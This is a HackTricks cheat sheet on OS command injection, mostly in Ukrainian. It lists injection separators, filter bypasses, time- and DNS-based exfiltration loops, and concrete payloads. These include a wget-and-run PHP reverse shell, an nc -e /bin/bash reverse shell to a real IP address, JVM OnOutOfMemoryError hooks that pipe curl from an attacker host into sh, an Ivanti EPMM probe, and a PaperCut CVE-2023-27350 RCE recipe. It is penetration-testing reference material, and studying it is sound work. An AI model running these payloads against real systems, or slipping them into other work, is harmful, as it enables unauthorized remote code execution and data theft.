Command Injection
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Що таке command Injection?
A command injection дозволяє атакувальнику виконувати довільні команди операційної системи на сервері, на якому розміщено додаток. Внаслідок цього додаток та всі його дані можуть бути повністю скомпрометовані. Виконання таких команд зазвичай дає можливість отримати несанкціонований доступ або контроль над оточенням додатка та підлягаючою системою.
Контекст
Залежно від того, куди саме вставляється ваш ввід, можливо, потрібно закрити контекст у лапках (використовуючи " або ') перед введенням команд.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Обмеження Bypasses
Якщо ви намагаєтеся виконати довільні команди всередині linux машини вам буде цікаво прочитати про ці Bypasses:
Приклади
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Арифметична оцінка Bash у RewriteMap/CGI-style scripts
RewriteMap helpers written in bash іноді засовують query params у глобальні змінні й пізніше порівнюють їх у arithmetic contexts ([[ $a -gt $b ]], $((...)), let). Arithmetic expansion повторно токенізує вміст, тож контрольовані атакуючим імена змінних або посилання на масиви розгортаються двічі й можуть виконатися.
Pattern seen in Ivanti EPMM RewriteMap helpers:
- Параметри зіставляються з глобалями (
st→gStartTime,h→theValue). - Пізніша перевірка:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
- Надішліть
st=theValueтак, щобgStartTimeвказував на рядокtheValue. - Надішліть
h=gPath['sleep 5']так, щобtheValueмістив індекс масиву; під час арифметичної перевірки виконаєтьсяsleep 5(замініть на реальний payload).
Probe (~5s delay then 404 if vulnerable):
curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
Примітки:
- Шукайте той самий helper під іншими префіксами (наприклад,
/mifs/c/aftstore/fob/). - Арифметичні контексти трактують невідомі токени як ідентифікатори змінних/масивів, тож це оминає прості фільтри метасимволів.
Параметри
Нижче наведено топ-25 параметрів, які можуть бути вразливими до code injection та подібних RCE-вразливостей (з link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Витяг даних: символ за символом
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
На основі інструмента з https://github.com/HoLyVieR/dnsbin, який також розміщено на dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Онлайн-інструменти для перевірки DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
Filtering bypass
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
При аудиті серверної частини на JavaScript/TypeScript ви часто натрапите на Node.js child_process API.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() запускає shell (/bin/sh -c), тому будь-який символ, що має спеціальне значення для shell (зворотні лапки, ;, &&, |, $(), …), призведе до command injection, коли введення користувача конкатенується в рядок.
Пом’якшення: використовуйте execFile() (або spawn() без опції shell) і передавайте кожен аргумент як окремий елемент масиву, щоб shell не використовувався:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Реальний випадок: Synology Photos ≤ 1.7.0-0794 був експлуатований через неаутентифіковану подію WebSocket, яка помістила керовані атакуючим дані в id_user, що пізніше були вбудовані в виклик exec(), призвівши до RCE (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Не всі injections вимагають shell metacharacters. Якщо додаток передає ненадійні рядки як аргументи системній утиліті (навіть через execve/execFile і без shell), багато програм усе одно будуть парсити будь-який аргумент, який починається з - або --, як опцію. Це дозволяє атакуючому змінювати режими, змінювати шляхи виводу або викликати небезпечну поведінку, не потрапляючи в shell.
Типові місця, де це зустрічається:
- Вбудовані web UI/CGI-обробники, які формують команди на кшталт
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, тощо. - Централізовані CGI маршрутизатори (наприклад,
/cgi-bin/<something>.cgiз параметром селектора на кшталтtopicurl=<handler>), де кілька обробників повторно використовують той самий слабкий валідатор.
Що спробувати:
- Передавайте значення, що починаються з
-/--, щоб вони були сприйняті як опції кінцевим інструментом. - Зловживайте опціями, які змінюють поведінку або записують файли, наприклад:
ping:-f/-c 100000щоб навантажити пристрій (DoS)curl:-o /tmp/xщоб записати довільні шляхи,-K <url>щоб завантажити конфіг, контрольований атакуючимtcpdump:-G 1 -W 1 -z /path/script.shщоб досягти виконання після ротації в небезпечних обгортках
- Якщо програма підтримує
--(end-of-options), спробуйте обійти наївні механізми пом’якшення, які додають--у неправильному місці.
Загальні PoC шаблони проти централізованих CGI-диспетчерів:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
JVM діагностичні callbacks для гарантованого exec
Будь-який примітив, що дозволяє inject JVM command-line arguments (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents`, etc.) можна перетворити на надійний RCE без зміни application bytecode:
- Примусити детермінований краш шляхом зменшення metaspace або heap:
-XX:MaxMetaspaceSize=16m(або маленький-Xmx). Це гарантуєOutOfMemoryErrorнавіть під час раннього bootstrap. - Прикріпити error hook:
-XX:OnOutOfMemoryError="<cmd>"або-XX:OnError="<cmd>"виконує довільну OS команду щоразу, коли JVM аварійно завершується. - За бажанням додайте
-XX:+CrashOnOutOfMemoryError, щоб уникнути спроб відновлення і зробити payload одноразовим.
Example payloads:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Оскільки ці діагностики парсяться самим JVM, жодні shell metacharacters не потрібні, і команда запускається з тим самим рівнем прав, що й лаунчер. Desktop IPC bugs, які пересилають user-supplied JVM flags (see Localhost WebSocket abuse), отже безпосередньо перетворюються на виконання команд OS.
PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE
- Уразливі збірки NG/MF (e.g., 22.0.5 Build 63914) відкривають
/app?service=page/SetupCompleted; перехід туди у браузері та натискання Login повертає дійснийJSESSIONIDбез облікових даних (authentication bypass у процесі налаштування). - In Options → Config Editor, set
print-and-device.script.enabled=Yandprint.script.sandboxed=N, щоб увімкнути printer scripting та вимкнути sandbox. - На вкладці принтера Scripting увімкніть скрипт і залиште визначеним
printJobHook, щоб уникнути помилок валідації, але розмістіть payload outside функції, щоб він виконався негайно при натисканні Apply (друк не потрібен):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
- Замініть callback на reverse shell; якщо UI/PoC не може обробляти pipes/redirects, stage payload однією командою і exec його другим запитом.
- Horizon3’s CVE-2023-27350.py автоматизує auth bypass, config flips, command execution, та rollback — запускайте його через upstream proxy (наприклад,
proxychains→ Squid), коли сервіс доступний лише внутрішньо.
Список виявлення Brute-Force
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
Джерела
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
- PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE
- CVE-2023-27350.py (auth bypass + print scripting automation)
- Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


